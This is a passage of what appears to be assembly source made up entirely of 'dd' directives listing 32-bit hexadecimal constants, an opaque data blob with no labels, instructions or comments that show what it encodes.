0DB00C007h, 0BB6AB98Eh, 3D6C06BEh dd 8B00414Eh, 0B1F5F348h, 2900618Fh, 0CDE764E5h, 785685EFh dd 766D0E30h, 0A500FEBAh, 5F72DFCAh, 893912B0h, 23308073h dd 0FAE660E3h, 0A0E43Eh, 91F16F4Fh, 126505CAh, 0D0A6DC17h dd 23F2E007h, 0AB8B75A0h, 458700C7h, 169A48DBh, 8E00A8D6h dd 703F68DFh, 0DD9AAh, 177DF013h, 0F859B721h, 0BCF3473Bh dd 504E07E1h, 9C00FFA9h, 0AEB445h, 0ED8FA84Dh, 6E510F73h dd 1693F20Fh, 1A83E0E4h, 47062Ch, 2723AEBCh, 3C016F68h dd 399F30C0h, 30B1A30h, 0B2D660B4h, 8288C8D2h, 0F600134Dh dd 5F492BBEh, 9252A4C7h, 3FB62EACh, 0AB224260h, 1820EC8Eh dd 0C521F626h, 0C7007EFEh, 9CC5A2Dh, 872A0D6h, 6E10287h dd 763E6900h, 0AAD87Ch, 4F11C510h, 0C78D79B3h, 0F91C1300h dd 2467AD44h, 0C8E863B2h, 96807FF3h, 0BE000482h, 0EE84EC1Bh dd 9D15433h, 5BD81323h, 2E9E4000h, 164B035Ah, 69010800h dd 0CF785Eh, 4FFFF559h dd 77AA7BA2h, 377FC31Fh, 638B1064h, 0FC60A274h, 762048CCh dd 2710B2AEh, 0BC023080h, 0B300399Ah, 78D88191h, 54D500AFh dd 0E1AE21E2h, 0F800449Ch, 0A5D71751h, 854ADFh, 0FF6C232Ch dd 0C8EC987h, 8C8B3Dh, 0FD0A4567h, 0B2D801h, 1BFA5EC6h dd 565F2F97h, 4760B909h, 0D1004738h, 290C5Ch, 61C8CDFBh dd 824D9351h, 5986A409h, 78B420FCh, 17EC20h, 9B659AFFh dd 7FD3877Ah, 0E8338D00h, 89C059F3h, 86DE1777h, 0AF1F019Eh dd 0E0EE7330h, 1B012074h, 6B678A81h, 7DD56AABh, 0D26EDA8Fh dd 871FE5h, 0CDA727BCh, 352E3BB2h, 8C000CE1h, 0BBD7C04Fh dd 65CF016Bh, 1E1B4C0Eh, 0A7F42074h, 0A658EF00h, 92492C29h dd 9AFCEBCBh, 88910463h, 81BDF156h, 0D0E9F94Ch, 4B0B8BF4h dd 80583EE7h, 0A8C0F544h, 0BF650275h, 3BEEEF55h, 60FCFF61h dd 7C01A496h, 0C11E375Bh, 0A09CFA6Bh, 87998F53h, 4CB5D420h dd 700020A4h, 2B0B6F84h, 14387EB8h, 0AC6E49C6h, 1C519602h dd 0A0838A05h, 0ACD0C8F7h, 3900D618h, 902C64E0h, 0B3EBE9h dd 2446BF03h, 0EF999A08h, 4A72100h, 180CD04Dh, 1A8803F8h dd 15F56F50h, 7BA8E8BBh, 583E4246h, 9DEF9D0Ah, 52D40200h dd 7FD16929h, 0E0C100C9h, 41C04CACh, 440E3EAEh, 4BAA4247h dd 60100F27h, 5A98066Fh, 0C97500D5h, 0A7A38F4Ch, 2A054371h dd 0FA9C915Dh, 0E16BA092h, 3A00CDA4h, 9E00D674h, 8441B533h dd 0C0E21946h, 80BCC729h, 264813C5h, 5222098h, 192553B1h dd 0E72090DAh, 1007EC6Bh, 5CEA9E6Ah, 98055865h, 0DAC01180h dd 73B79B9h, 735FD6BBh, 0EA669026h, 75029F15h, 47DCCC0Eh dd 0D04CCB65h, 814DE6h, 0D72F72Dh, 740285BAh, 6C9C3E76h dd 4743991Ch, 0F1BBA2ABh, 13DC917Bh, 0CF63001Eh, 0E0E46484h dd 3C16CC3Ah, 5B0AE22Ah, 0E61DD880h, 6775900Fh, 4AC02CE1h dd 2CF37317h, 80CC3915h, 0EF7A1ED4h, 14704C99h, 0E56AA109h dd 3180C0FBh, 7C7F24B7h, 2895051Bh, 0BEA90049h, 226CA36Dh dd 0E827A001h, 182E0B4Ch, 0E5AAA050h, 31CF0052h, 0CB39DD50h dd 0A67769FCh, 32724700h, 9C2BAED4h, 159D3AD9h, 0B8FF12h dd 0B95D5788h, 0A700EE04h, 4F85396Bh, 24E66CACh, 1A4F5D3h dd 4CBCE7A1h, 38C47409h, 660AA5F6h, 0ECB72FF9h, 6BAB6500h dd 101293Bh, 7EA890C9h, 0C0F6075Bh, 0B00088D1h, 0F70A5472h dd 0EEBEC6F2h, 25C00D2h, 82DB4EFFh, 0B09B537Eh, 6E56B500h dd 62472D5Eh, 7939E1EAh, 44F0E0D0h, 8330EF01h, 0A43FA998h dd 302809F5h, 2F71117h, 4254E3D5h, 0EB261880h, 384083E9h dd 28D0F985h, 0CAE2A4h, 480FAB0Bh, 0E17403CFh, 77BD1600h dd 0AC0679A3h, 0D7BE008Fh, 0DAFDF02Dh, 5677B8DFh, 0FA150103h dd 0FB925849h, 546ACFE0h, 0DE852400h, 0A804A059h, 9E63D98h dd 0ED7E88Fh, 28547441h, 983BCC90h, 0E8BD253Eh, 1EF0DC22h dd 8CFD7F40h, 4A29DA00h, 16C4B3CAh, 0DD6F1218h, 6C12B8h dd 5FC39A76h, 410ED803h, 37CD451Fh, 798038D7h, 4CA7E0F7h dd 300E9473h, 0BB9F0BA9h, 29349519h, 0E9CBF8A2h, 4F12E1B0h dd 28B03557h, 0F7A1C012h, 8BE4112Eh, 7A89952h, 66870DEFh dd 98C670C0h, 0E79601B2h, 0E05F8F74h, 744E2E50h, 84E4898Ah dd 0FCAD6ABEh, 3CC82525h, 5F0BAEEh, 0BCF0AD15h, 0D57200A0h dd 11A1FE4Ah, 9CA20E3Fh, 9227BA77h, 9ABA0F0h, 0D3F680E0h dd 445D5100h, 0A67B0F28h, 90A000F7h, 5A401608h, 437C2648h dd 98FD9A0Fh, 74D3C0C0h, 0ECDAF31Dh, 688625E1h, 4230CBFh dd 0A63D80FFh, 0A9250120h, 8C1E9D4Bh, 0BE392F11h, 60459044h dd 8CA05C44h, 0AA214427h, 5A8F14A0h, 6F08F189h, 84862444h dd 29C8FC90h, 78FB47C5h, 5C847290h, 0B919445Dh, 48391D44h dd 530D426Eh, 5E212D24h, 105A123Ch, 1890ED6h, 31441B08h dd 4F228436h, 1155420Ch, 2221356Ch, 90065308h, 38C88469h dd 6F421E48h, 213D2407h, 0A124A4Eh, 89093210h, 44940851h dd 0C988E64Ch, 0A36603D9h, 2DE1444Dh, 1C34A9FCh, 0ED40863Bh dd 0CD0FFFAAh, 9CB97489h, 932F074Ch, 0AA8E259h, 81253860h dd 88984B01h, 6E30A702h, 83B5E8h, 0EA69084Eh, 0F6067647h dd 28078BCh, 6BE94035h, 0EA8EC82h, 9C980368h, 8E219E40h dd 450E8AB8h, 0C04FC448h, 0B4BC25ECh, 9311C070h, 43BAF07Dh dd 58005C73h, 84994ABBh, 7C56089h, 0D1A4A734h, 9E1619Ch dd 0BB6C34E4h, 0BF7AB51Eh, 6E9AB6C2h, 50EFE096h, 919003Fh dd 4D30A813h, 3ED962BBh, 90E80611h, 9D8F0BCh, 0CA178F65h dd 0E4EC7825h, 0D003748h, 0BBA796DBh, 113DD09h, 7E685B80h dd 0D4C24759h, 0F4ECA4A3h, 54FB2B00h, 0D773FC2Fh, 0CF8B00ADh dd 204E323Fh, 0C003A80h, 0F2E1EF66h, 916399h, 67C91E73h dd 9A9F5010h, 0ED00A178h, 8B0AFC18h, 1CD15F24h, 8002CD14h dd 1F32BAD5h, 0C100E6B2h, 0F40578BEh, 92976Eh, 0B8429623h dd 6ED2F62h, 5098C900h, 0DA12CE05h, 0B2DE00DDh, 2608FC70h dd 3301C366h, 486EFE20h, 9C701B49h, 3C7C000Dh, 93FB681Eh dd 0F20F65DFh, 0EFCC8C71h, 87B4A36Eh, 1C09850h, 0B1B00BEh dd 2A349C94h, 850B62E8h, 19097Fh, 0CE91FE20h, 3C7700FAh dd 901066A8h, 9200F225h, 155B6EF3h, 1247C762h, 0D0815178h dd 91DAD6E0h, 527C7500h, 0C8DD281Bh, 3FE00483h, 80315FC9h dd 0F8BBED38h, 74356800h, 0F7A3E220h, 0DCC500EBh, 2F8647ECh dd 544A92F6h, 0BA146C00h, 1C564DD4h, 40CB6D28h, 0C5774010h dd 0E8041A3Bh, 0D153135h, 75C00490h, 0BE202448h, 5E540140h dd 20F037DCh, 6C00F1DBh, 0C7185F71h, 189707FBh, 381483E7h dd 3A12275Ah, 2044B37Ah, 648ACEDh, 7DF63A40h, 336C25E1h dd 3D071060h, 7A63A907h, 0CD20A25Ah, 3ED125D9h, 0AC00C648h dd 0B3D709CCh, 0BE909B95h, 33851918h, 136170h, 0A7D9CC7Bh dd 0B926CDC2h, 0B4535000h, 0A3BCD64Ah, 0F22E0061h, 9E39C079h dd 0BE079C08h, 0EBA9580Ah, 611D8ED0h, 5170DEh, 3E608870h dd 8531364Ah, 8A22DF07h, 8CF071C5h, 2691E6h, 423A4FB1h dd 0EAFB5B73h, 98E90D00h, 0CB9396C6h, 0FFB1378Bh, 8D63A1F0h dd 14E63077h, 80B0F50Eh, 6384088h, 0C657EDh, 3F8E62A0h dd 0C4685CBEh, 0D9A70C0Fh, 0FD384044h, 82E57Ah, 457FE6B1h dd 0BA75D4B2h, 0F80FB00h, 0DE84A596h, 0DA010334h, 0C343D024h dd 0AEED4C88h, 8010272Fh, 0FBDD9C44h, 880E979Eh, 0CF8DAA60h dd 3B14E6AEh, 3C889CCh, 793D950Dh, 1429D8E1h, 4EB04Ch dd 0A6D05AD5h, 5DB78E51h, 0B139D2F2h, 77CC0742h, 0B104069h dd 39B81598h, 98504937h, 11C7047Ch, 802F3C22h, 510FE010h dd 0B76A0603h, 0E88258A7h, 36290Dh, 261DFED3h, 17F11DDh dd 6FEDC61Eh, 87FC3C00h, 0A3F618h, 0B6369507h, 14DC6A2Ah dd 0A9F06E71h, 0FF618400h, 0AC08C0D9h, 54BB007Eh, 487D08Bh dd 960F1BA6h, 0FE36F184h, 0C78A3F80h, 71FBCB94h, 2CB8EE4Fh dd 3B6C043h, 2CBDED78h, 7FB65087h, 0F200F4DDh, 0FA03710Fh dd 0E479B04Dh, 0F59D0056h, 77F97BDAh, 5425AC01h, 0E1C603Ah dd 0D0210053h, 820406ECh, 0CD586229h, 49CC002Dh, 0FB6C3718h dd 0F2D302B3h, 5019ED3Fh, 0CAE3CC60h, 71B68900h, 0EE410F9Bh dd 0A83A00C1h, 16AA6A42h, 2400C5D1h, 0F6DE67AEh, 9DAF5Bh dd 0CE22B884h, 0A0A8380Ah, 0DD80ECBCh, 7DB632ADh, 6AB80944h dd 0D4B0D325h, 0A80097DEh dd 0AEC9261Ch, 9021C850h, 0DD84009Ch, 9FB4D8A7h, 2D0AE079h dd 0DC6175D3h, 0D6F50300h, 3899829Bh, 1E00ABF8h, 0A7AC58FEh dd 0C500AF67h, 7031A4F9h, 28088126h, 9C95EC4Dh, 2BAB034Ch dd 52D003E7h, 64F277D5h, 10D35700h, 1C479051h, 0BD070033h dd 0C2FD494Ah, 3AB0F865h, 64F9BA0Fh, 1EDF80C0h, 6D10D4h dd 0D9ABCF72h, 197E95ADh, 0E3286900h, 74A101B4h, 98EF70F3h dd 80406049h, 0DF27CE2Eh, 82DCA83Bh, 0A2C39E17h, 23304063h dd 6AA100AAh, 4B6DF7CAh, 8F704919h, 416C2800h, 0EB9F1BB6h dd 0C1120E0Eh, 4A6E1059h, 0B2407C20h, 0E9007151h, 0CC3ED733h dd 8EAC14h, 9B7A9ABEh, 5E2F90F7h, 6700D97Eh, 3CD39F40h dd 1C636E99h, 79AC82Ch, 801F41B5h, 3B7BD29h, 1DACC4Ch dd 0E1B4579Dh, 4874C3B6h, 31E51350h, 565480D3h, 0A1E2835Eh dd 27787374h, 30AB3Fh, 0FB2A0A7Eh, 1EE686DEh, 8A4026FFh dd 13EC1F2Dh, 91CC0FC2h, 72443421h, 0BB19803Ah, 84A4AB6Ah dd 4F7F3DAEh, 0BD41A80h, 0A5D0103Ch, 0BE875600h, 0C4522311h dd 21E000B4h, 945ACF28h, 8A033C96h, 5DDEF83h, 40FFBF64h dd 41CF6EAh, 0F17241h, 9E2D30A3h, 1A62C06h, 38ED5B26h dd 0DC1AF080h, 26C6FE98h, 566141h, 77E9729h, 5501AFFBh dd 0CF16717h, 21C4E5D1h, 269F613h, 50F3C9F0h, 6840B7E8h dd 640E2A6Dh, 0C05424A5h, 3206EB2Eh, 367903C1h, 83F17EF5h dd 563ECDB0h, 952E8B02h, 0C059DCFCh, 9189648h, 0A9B0E768h dd 0C46E6580h, 3B5D1BAh, 0D8622BE8h, 773B90Eh, 9367BFAh dd 828AD263h, 1E1976C0h, 4FC38D00h, 0F7143F26h, 0A0CC0C55h dd 0D038E66Ah, 0C0003879h, 63A5F058h, 90882EFAh, 0DD6200C8h dd 519FBC0Ah, 0A20F24E7h, 40990579h, 434F3DAEh, 0F2330F94h dd 9DE2C6F7h, 6083C01Dh, 90F751C4h, 44E1B3EDh, 58369F00h dd 1D1F003h, 0F42C0181h, 1A990D54h, 0D563704Ah, 636D4C00h dd 38470680h, 73610032h, 95BF2EB3h, 4E05BE9Ah, 0A0A9108Ah dd 70B7D0C0h, 99E013h, 7D60E82Bh, 0F8EC7A03h, 9C05CA13h dd 5D2AAE00h, 4AD6DEAh, 0AAB59F3Fh, 72D18023h, 0FEC7165Ch dd 8C40A066h, 38E67EDh, 90B7674h, 95B8D868h, 0E530B612h dd 907806D6h, 29231355h, 1164073Ch, 8DFE92A3h, 670058DCh dd 0F53AB69Eh, 889AEFh, 0C629A74Dh, 5598D5BEh, 1F611101h dd 0DD82EB13h, 5C104A80h, 0FB179AA6h, 0A8FD0C07h, 71209474h dd 0B66AB627h, 0B91E0420h, 7E8CC828h, 9759750Ah, 702CFD26h dd 0CF8C7F01h, 40EA6B28h, 3E96039Ah, 8680A729h, 6F840135h dd 8101CDCFh, 0FC02720Fh, 0C0C63E9Dh, 144CC7h, 29D80B5Fh dd 0F5A3DFA5h, 20012CFCh, 0C20A48A0h, 32E8BD05h, 0E6B8048Bh dd 83A75EA6h, 4000235Dh, 0CDDF78E0h, 1BA28D7Bh, 18EEC625h dd 2A366FD0h, 6DDAAF03h, 0B086E3B9h, 39FCC929h, 700B11C8h dd 0D068C333h, 320F4634h, 0C6418818h, 0E22987F2h, 1D500ADh dd 9780B547h, 0F00469Ah, 0DC4FF848h, 0EE1B75Ah, 0D60C2611h dd 1B8424E0h, 0B230B0E9h, 7D7216BAh, 0B7D0A093h, 68E51CAEh dd 0D56B0705h, 599AD092h, 8500CF16h, 11A165CAh, 0FAC34Fh dd 0B9538D52h, 6AD62ADFh, 7CAC6704h, 7CE8F8CCh, 0C60A4205h dd 8ED0429Ah, 0C8305804h, 48610077h, 2F85B138h, 0F61E5F6Eh dd 0B6D751C7h, 0E1A08400h, 5004C534h, 0FEE083h, 22607ABEh dd 708B3921h, 0A7B4251Eh, 0D0C00712h, 734B5F5h, 0D78A66AFh dd 81C1235Ch, 23008078h, 4F045B4Dh, 7D7AA3h, 4C587384h dd 6102058Fh, 0F85AB107h, 0DC905C24h, 0AD6877h, 1B3BC9CAh dd 6AD5B9EEh, 864A7800h, 0BD26CFDAh, 7AB00034h, 87ADD3EFh dd 2A0717C7h, 0E5D45643h, 0D90E86B0h, 7B77E4D2h, 1F810041h dd 6B734A15h, 0F502FA2Bh, 0A84C4835h, 0E0B88F6Eh, 5D1E4F44h dd 81DC4FFFh, 486910h, 66A9BEh, 0FE208510h, 41A80280h dd 0C8292100h, 0A2705096h, 3CFB07DEh, 0E2BF64ABh, 4FC1F1C3h dd 0A4003B40h, 0A15F091Ch, 9278A3h, 0EF641A26h, 0D09024F0h dd 0C1457B03h, 0F1C9FC3Fh, 0AFE046ACh, 0A6910521h, 7FC231h dd 0F1A2DBC8h, 0D7F8CE7Ch, 0AD00EC94h, 1911357Eh, 0EFEAE9h dd 0E79D5D0Fh, 6750A4F2h, 54059900h, 910D1A42h, 0A96F1E36h dd 0B4B50059h, 0E1BFFF65h, 7C6958h, 552F350Ch, 279B2DFh dd 6E08DD91h, 8CE0884Fh, 2530075Ch, 356988B0h, 24D600FAh dd 825649CEh, 0E21C8F64h, 30FB3130h, 70092902h, 0FD70173h dd 0C5E1BECFh, 0F9C38D2h, 4181B5E7h, 11ABB6CAh, 0B82D4CE8h dd 1CE0969h, 0A8582577h, 49BC3B04h, 78A8ED47h, 0F7BB1401h dd 0C896E8BAh, 416932B0h, 0CB9F8050h, 3E79A0h, 0CD1D21BEh dd 0C95B62D5h, 35BFE501h, 3A2CB35Dh, 42125980h, 8F62DB6Eh dd 50C24Ch, 5F7E3F76h, 228A990h, 0D56CA161h, 245691A2h dd 0E8003797h, 9C668FE9h, 0B1023E57h, 5F6C5600h, 0F57B9BA4h dd 0E326BD12h, 7C9F6900h, 1A7F04h, 0E3CDFF8h, 0F5B4DE19h dd 9C14D72Eh, 0E6AD4300h, 98515B3Bh, 5F0D0055h, 0A0627C33h dd 0F60024E0h, 394E97CDh, 0E3F270Ch, 14235834h, 0B54967E0h dd 400F0F1h, 0E66005BCh, 4852C217h, 3000587Eh, 4E0F22E8h dd 0CC3A51A6h, 0EB3B770Dh, 0B2F0002Ah, 6F9BC50Ah, 91F23Dh dd 63E038DAh, 2DE50DD4h, 44E64E09h, 938F83Fh, 4C8AD8D7h dd 17001C78h, 89DFF62Ch, 0E468C59Eh, 0A12D0EBEh, 920564Dh dd 0FB8E61B2h, 741FC201h, 0EFC63075h, 0DD0330h, 62E32753h dd 0D6D2D4ACh, 0DF0254B0h, 0C9414466h, 0AAE9C33Dh, 856640B3h dd 1F6512A4h, 0CB001D73h, 80E936EBh, 0F458A879h, 0C6B0E600h dd 0CC4CB2F8h, 1DFCF445h, 8C892B3Ch, 11287A1Bh, 60BA5700h dd 7B17B6D8h, 2DC107B4h, 0E0E91013h, 844DF067h, 0B87F1D00h dd 6A69D30h, 1EE5044Ah, 809AD18Eh, 0A01A4520h, 36CD8500h dd 58AE24D3h, 3EF8EE53h, 3D00DD8Fh, 3768A33Ah, 7972A13h dd 7F309BF4h, 3942C3h, 8A22E9DBh, 77AF6CB6h, 800083FCh dd 0CDD7EBBCh, 707FB6Bh, 0EA094ABFh, 0B7A8905Dh, 0F40196CBh dd 79BD9784h, 0F1E8DAB0h, 716F0074h, 14EB35BAh, 0A1005A40h dd 0CCC8AF67h, 0B46A627h, 0BA20193Fh, 0C6B19900h, 0B0008441h dd 1A7E110h, 183252FEh, 41C02898h, 1CB07134h, 0ABB36701h dd 39B080E8h, 11CF6880h, 0CB4EEF72h, 30F8E700h, 0B3070AD5h dd 7320E370h, 0F5281681h, 0F82300E6h, 0CC14B15Eh, 3C31B500h dd 20781B24h, 2E7CD9h, 0D5007F6h, 0BC2B0FE4h, 86F23Dh dd 0E8653280h, 1E84ECC2h, 0C0EA2DCBh, 5494EBF7h, 0DF26B0E1h dd 0DE00247Bh, 0AACA26C2h, 0C87D2AADh, 386303D4h, 0D0E76EFFh dd 0A3DC2100h, 0F9B8CE83h, 3F5800C6h, 0EA5703F0h, 4409FA2Dh dd 7874A3B0h, 73ED0088h, 0CA2AA156h, 0A7001522h, 894E4F6Bh dd 0BBB10Dh, 0DF9FD608h, 0B79BBACCh, 80248E27h, 80BCE5B4h dd 0B23F062h, 20728B3Fh, 0ED221E00h, 0B7003A57h, 59A8F361h dd 1D5C2CEFh, 0A609762h, 0A61B7Fh, 5D729082h, 0F70096E4h dd 20DF5F70h, 0E0AC59B7h, 4D150381h, 6D74B455h, 1885BAF0h dd 4699D104h, 78D04443h, 7F6FF3C1h, 8D48022Ch, 0F916FC13h dd 0DB848060h, 49243500h, 8CC661DFh, 9F4100B9h, 7FA44499h dd 5F1EE072h, 0B8C0E61Eh, 8C08580Ah, 237800D5h, 3FB6C9A3h dd 7100680Dh, 2635D15Fh, 0C049A0h, 27E09BADh, 690E0189h dd 1B3E0900h, 0A50810FEh dd 0A36503AAh, 0F4CEEE3Ah, 0A680A2C0h, 60127F00h, 23E6AB4Ch dd 0EB3400BAh, 0E9A5E0Ah, 30007442h, 25AF8BCh, 540F4F6h dd 0F357A20Dh, 2C02C0ADh, 103FA073h, 9AC28050h, 1C39AED8h dd 0F7B23DD1h, 0C585D780h, 90C6AA9Dh, 0BC186FE9h, 8381E4h dd 108ED31h, 0DC6C84ADh, 0E1124807h, 6681D263h, 42023DAh dd 10D00064h, 71FC85BBh, 671E083Ch, 0F20186E9h, 0F0E65163h dd 2684EA6h, 88B1621Bh, 8D03C0CCh, 829E0386h, 3A100EB9h dd 1A205C94h, 30A82F5Ah, 87162D98h, 341CD1E1h, 761C2180h dd 39B972B1h, 3B9358E7h, 86370059h, 0F11F3CEDh, 888B3Fh dd 5C5BA333h, 0BADDEFh, 0AD0E81ACh, 962966FDh, 943C7375h dd 187613D1h, 8B78F0h, 0FA9FD2B6h, 0D91D606Fh, 0BDE00909h dd 0E9582074h, 3CD8F8FDh, 5280AF93h, 32B8691Bh, 0E0B82617h dd 9101657Dh, 0A9DBBA9Eh, 55F89D01h, 4CC7488Eh, 0DFD60A00h dd 9F6354B8h, 8A4C3Bh, 0DCD58B48h, 6032A1F7h, 1B5028C9h dd 0F2031C25h, 0EE24B19Bh, 830182A7h, 0D8BED280h, 260EA66Ah dd 80F0ED51h, 0E21D33EEh, 4500FBB6h, 0FAC1E98Eh, 0FC21840Fh dd 0B7CF00C2h, 0F9E8AF82h, 444F55DAh, 5810A40Ch, 11226078h dd 529BB92Eh, 6976330Fh, 0CBB206AFh, 64A60078h, 26D36AA2h dd 79073F93h, 57301AE3h, 75D0EC57h, 0C46A471h, 8F047308h dd 540040C8h, 0CDB22C91h, 1D28A80Ah, 306DD653h, 0F7B5D70Ah dd 59797D01h, 8224615Bh, 58808AD0h, 39004A4Bh, 0F1BD8698h dd 6D001E51h, 0C4BE9AE2h, 0E47D3E4Dh, 0D7E70E59h, 0C03C7343h dd 1D629FBh, 6B5CB204h, 0DFA300CFh, 37EA035Dh, 7CF00011h dd 0E6F7C7BDh, 303DAE8Eh, 42DE8EDAh, 7AB84B32h, 7638005Ch dd 565CDCD9h, 88094793h, 83CBDAE4h, 0E02D63C1h, 180FEFFh dd 0F72B5584h, 6029D92Eh, 0A100D48Ch, 0FF344CE3h, 5F02297h dd 0C21A1E6Dh, 0F9FC00D3h, 86BA0527h, 2558900h, 9660A574h dd 0DAAF00CAh, 3CD3980Ch, 172561D5h, 69F400E0h, 486E7Dh dd 0C9FC2A0Dh, 4271A480h, 8D890B00h, 6F33079Ch, 0F1640011h dd 47E296DDh, 6A1C3AC8h, 7F044FBFh, 58E86C3Fh, 1ECA8201h dd 0FA78F02Dh, 225DE4E8h, 2B75AD18h, 0B0CB1711h, 3D17B025h dd 8000ED82h, 0A28DF41Dh, 0F50EAB6Fh, 0C0738818h, 4387B3C5h dd 34AD02C2h, 59A44E15h, 397683E0h, 4072022Fh, 6FC3BCh dd 0A967B843h, 17CA3486h, 6D7EC000h, 0F8E115F3h, 4C540E0Ch dd 82000257h, 396BEA8Dh, 0FD86F501h, 43608EDDh, 5F0006Eh dd 5E81A296h, 0D8B80470h, 72C8EE11h, 0B59CFC00h, 6858853Bh dd 0D870ED00h, 0E08097BEh, 828C0006h, 0A3E15FFAh, 0D2025377h dd 3ABC4BFCh, 107C66h, 28990A73h, 1F29BF6h, 0D7097D70h dd 0D156458Ch, 89696070h, 4A015459h, 0CDE2B89Dh, 0E0D0F392h dd 8D14032Ah, 969FB623h, 796611B0h, 61CB1C00h, 19EFDA55h dd 2874008Fh, 0B69F16B5h, 2FE76454h, 4BA82C00h, 3C9AF256h dd 551430C2h, 520AD12Fh, 82D471C7h, 57E608FFh, 0CC126091h dd 4E0003B6h, 3E5D4077h, 1719F90Eh, 411755F7h, 6D78BEACh dd 2458F24Ch, 0F12C380Eh, 7A3CC015h, 135FFC0h, 0E0A4EA1Ah dd 104156E1h, 7B96190Fh, 0AB2C1794h, 5AD8814Ch, 0CF9440F2h dd 0D82F56FCh, 0C48880A7h, 8431E2h, 7D2623B5h, 0D09FE7F0h dd 5A3E5200h, 0F5753FE6h, 0B5DE016h, 0B06B07D4h, 0B50C0C03h dd 0FDA29788h, 807CA1DCh, 3EEBBA80h, 4F71C3Bh, 0EA55DFEEh dd 796CE803h, 0BC28B800h, 36D4844Fh, 70F90015h, 0D96830FFh dd 239F8C94h, 0C01089F0h, 86122Ch, 9F25E3C4h, 4EA1DF5h dd 64244CBAh, 76007015h, 0E123F4DFh, 0E581C0B6h, 0F81F3544h dd 76AB5B0Ah, 80738440h, 601385BCh, 82B619A7h, 95005D3Ch dd 42F8C643h, 3B9FBCh, 0A1E3669h, 85E2303Dh, 0AB2CD17Ah dd 90091C5Bh, 0E7EC00CFh, 2264D6h, 7319F4B8h, 80E53FE2h dd 8F613E28h, 1391303Fh, 9D16D4B0h, 99A77300h, 0A90139h dd 2CED7C4Fh, 31D882C7h, 467AFA00h, 6D5041CFh, 97C5002Fh dd 4069E011h, 0B517EB68h, 960EA964h, 8FBF43F0h, 0A111132Ah dd 40C81F36h, 32C2F320h, 86386B0Ch, 903F0093h, 4E92AB57h dd 141B055Ch, 8401FDB8h, 40388019h, 0D515ADD4h, 2DB0F673h dd 3DD8C580h, 0BCE0B8A7h, 751C3860h, 0CA96CD3Ah, 0CA02010h dd 4172CCAEh, 0D8A19DAFh, 6060D4B1h, 0CA00404Ch, 2FF1F4A7h dd 0EA2109E2h, 136EE85h, 0A59A05C4h, 7016429Fh, 26973FB8h dd 1C44D228h, 808AC5E8h, 0E23A9925h, 9005A36h, 3867634Ch dd 315835h, 2056A21Eh, 0AAF08589h, 0F69EFF3Ah, 5D003DB8h dd 5F7A02BDh, 0B5BA45h, 91501A8Ah, 0E38B95DAh, 81B8411Eh dd 0AC980FC0h, 55376Ah, 83238D4h, 0A156B77Bh, 749A48h dd 1E62525Bh, 5B46E3A9h, 0D24C08Ch, 2D9072BAh, 5D0E0900h dd 2F161FD3h, 60701E4h, 0D67A90BCh, 68E0EC42h, 0D4E7C578h dd 0EA3F5395h, 0B84482FEh, 0F61B4CF2h, 0BD6B60D4h, 0D300114Bh dd 0AFE7CEA6h, 282BBB79h, 2EFC9A06h, 395A44FBh, 0A59B0587h dd 1F1980A1h, 0BD03C41Eh, 0C7062FACh, 8CEC98CDh, 527400B0h dd 9F45FC08h, 8804850Fh, 0BC3659B6h, 407068D2h, 49F8DE6Ch dd 77C8C99h, 0F46D82A3h, 3C803BE6h, 0CE34E572h, 0B160C702h dd 0D6832F43h, 0A05280D4h, 0DED5854Eh, 51235F0h, 0DCA0547Eh dd 0A1B95C70h, 0A5230B03h, 86C0D7FAh, 0DE0352A6h, 0AE3B6AAFh dd 53E80071h, 0DD2D3EA3h, 0F60C1343h, 9197FC61h, 0BCD700C9h dd 0D41A06DEh, 0A471CD46h, 0B8EB2000h, 33E9DFBh, 4C73004Ah dd 60EED014h, 0D8008434h, 3F08E6E1h, 52B74FAh, 72B02FDCh dd 0C378802Dh, 7600BEF6h, 65FAAF95h, 620F93h, 5EEF19E1h dd 81316420h, 40C5FB00h, 85A46AA3h, 2471DCh, 74396CA0h dd 26B5065Ah, 56369F03h, 0F7F77F9Dh, 0AC5C2960h, 931E3F33h dd 2000804Fh, 0C0267FB5h, 0F0C94C7Ah, 5CEF59B4h, 1D48F52Eh dd 1263531Dh, 0D7DC0098h, 0DBB2500Bh, 0D87FA2B8h, 74F0B67Ch dd 36006CB1h, 39F796FCh, 749C4C90h, 3043F416h, 0E76FAD5Ch dd 314D058h, 8DA3DC5Eh, 411EE11h, 211835C2h, 52E8D1EBh dd 3C61A6B5h, 0DFD83F00h, 14A82E0h, 5748AD6Dh, 6BF6696Eh dd 469AD401h, 72C27CC5h, 0FDFA0E18h, 0EFC01CDFh, 3ABD9DAh dd 0B34BE49h, 85BB9D01h, 804098B4h, 6150AED8h, 0E4648005h dd 69AD8A00h, 5F430753h, 3F233825h, 7E400C74h, 0BF287431h dd 940D452Eh, 0CCC1851Fh, 439F88F7h, 51ECB761h, 249300D5h dd 5E6AA866h, 0C72C8A83h, 0C46268ABh, 0A758693Fh, 18C6B880h dd 30E5F9EEh, 0B7CFF8FFh, 304A044Ch, 21C720C8h, 0E3FC0BEDh dd 0B8204B6Ch, 3EC11719h, 986D0126h, 51F21880h, 1456503h dd 0A0E45442h, 0D4D1A330h, 19008926h, 24C27DDh, 786FB1h dd 28538C92h, 0ECCACC68h, 9083FF2Ch, 1449149h, 0AA0F6E0h dd 0B88A5845h, 9EB48BA4h, 563B6880h, 0BA00DC07h, 0BD9CBCCAh dd 159D0A3h, 422B2CA9h, 4076E2C5h, 0AFE0B4B4h, 6D1EAC00h dd 4D85BA9Ah, 0C0A2492Ch, 99DA1F00h, 453681A7h, 0CF7CEA00h dd 5AB767C2h, 928B2C59h, 9FB49080h, 20A01D13h, 1CA412B3h dd 0B8ACD7h, 60DF859Ch, 418E7AAh, 796FF690h, 4274C082h dd 1248DA8Fh, 815C3824h, 8A156EBFh, 1560A905h, 279200C8h dd 0D880FB62h, 3C0184D3h, 0E1BEDD2Bh, 0A4241370h, 0F12D0F02h dd 7E41C929h, 38EF35BCh dd 84853F54h, 1F17E924h, 0ED2404BBh, 1C6CCF9Ch, 39EFDBBh dd 0E092CE0Ah, 4143C681h, 986C86ABh, 80779A1Eh, 97C4685Dh dd 0CF007273h, 1CC3FEB1h, 3455096h, 60B33E53h, 80DCFC8Bh dd 4DBE9C34h, 0F901A4ECh, 43A737BCh, 0B828A66Eh, 484981DDh dd 40F6F1B8h, 58B232B8h, 0F42B0E00h, 7CA28ED3h, 0EC431649h dd 73440A5Bh, 0A01D0A95h, 0D0171780h, 350B9F94h, 3718F27Dh dd 2A6876BCh, 30C107C5h, 0E0DA63A2h, 8099B32Fh, 0CA36CC00h dd 0ACDC4C06h, 64C34C19h, 